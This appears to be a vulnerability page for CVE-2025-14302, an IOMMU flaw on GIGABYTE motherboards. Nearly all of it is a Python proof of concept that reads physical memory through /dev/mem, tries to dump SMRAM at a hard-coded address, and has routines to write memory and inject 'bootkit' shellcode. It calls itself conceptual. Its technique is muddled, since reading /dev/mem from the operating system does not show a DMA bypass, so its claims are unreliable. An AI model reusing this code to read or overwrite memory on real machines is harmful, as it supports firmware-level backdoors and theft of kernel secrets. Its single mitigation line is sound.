GIGABYTE主板IOMMU未正确启用导致物理内存访问漏洞(CVE-2025-14302)

# CVE-2025-14302 PoC - DMA Memory Access via PCIe Device # This PoC demonstrates the concept of DMA memory access attack # Requires specialized hardware (FPGA-based DMA device, e.g., PCIe FPGA card) import os import struct # Note: This is a conceptual PoC for educational purposes only # Real exploitation requires specialized DMA hardware and UEFI/BIOS access class DMAAttackPoC: """ Conceptual DMA attack PoC for CVE-2025-14302 Attack Vector: Physical access with DMA-capable PCIe device Target: GIGABYTE motherboards with IOMMU misconfiguration """ def __init__(self, device_path="/dev/mem"): self.device_path = device_path self.target_address = None def check_iommu_status(self): """ Check if IOMMU is properly enabled On vulnerable systems, IOMMU may be disabled or misconfigured """ iommu_check_commands = [ "dmesg | grep -i iommu", "cat /sys/class/iommu/dma_api/version", "lspci -v | grep -i iommu" ] results = {} for cmd in iommu_check_commands: try: results[cmd] = os.popen(cmd).read() except Exception as e: results[cmd] = f"Error: {e}" return results def read_physical_memory(self, address, length=0x100): """ Read physical memory at given address On vulnerable system without IOMMU protection, DMA device can access any physical memory location """ # Conceptual implementation # In real attack, this would use DMA device driver try: # Open /dev/mem (requires root privileges) with open(self.device_path, 'rb') as f: f.seek(address) data = f.read(length) return data except PermissionError: print("[-] Requires root privileges or direct hardware access") return None except Exception as e: print(f"[-] Error reading memory: {e}") return None def write_physical_memory(self, address, data): """ Write data to physical memory at given address This allows code injection or creating backdoors """ try: with open(self.device_path, 'wb') as f: f.seek(address) f.write(data) return True except PermissionError: print("[-] Requires root privileges or direct hardware access") return False except Exception as e: print(f"[-] Error writing memory: {e}") return False def dump_smm_memory(self): """ Attempt to read System Management Mode (SMM) memory SMM contains sensitive firmware code and data """ # SMM memory region (varies by system) smm_base = 0xC0000000 smm_size = 0x10000 print(f"[*] Attempting to dump SMM memory at 0x{smm_base:x}") return self.read_physical_memory(smm_base, smm_size) def inject_bootkit(self, target_address, shellcode): """ Inject shellcode into memory for persistent backdoor Could target boot loader, kernel, or SMM """ print(f"[*] Injecting bootkit at physical address: 0x{target_address:x}") return self.write_physical_memory(target_address, shellcode) def main(): print("=" * 60) print("CVE-2025-14302 PoC - GIGABYTE IOMMU Bypass") print("=" * 60) poc = DMAAttackPoC() # Step 1: Check IOMMU status print("\n[1] Checking IOMMU status...") iommu_status = poc.check_iommu_status() for cmd, result in iommu_status.items(): print(f"\n{cmd}:") print(result if result else "No output") # Step 2: Read sensitive memory regions print("\n[2] Attempting to read protected memory regions...") # Read SMRAM (System Management RAM) smram_data = poc.dump_smm_memory() if smram_data: print(f"[+] Successfully read SMRAM: {len(smram_data)} bytes") print(f" First 32 bytes: {smram_data[:32].hex()}") # Read kernel memory region kernel_addr = 0x100000 # Typical kernel load address kernel_data = poc.read_physical_memory(kernel_addr, 0x1000) if kernel_data: print(f"[+] Successfully read kernel memory at 0x{kernel_addr:x}") print("\n[*] Note: Successful reads indicate vulnerable IOMMU configuration") print("[*] Mitigation: Enable and properly configure IOMMU in BIOS/UEFI") if __name__ == "__main__": main()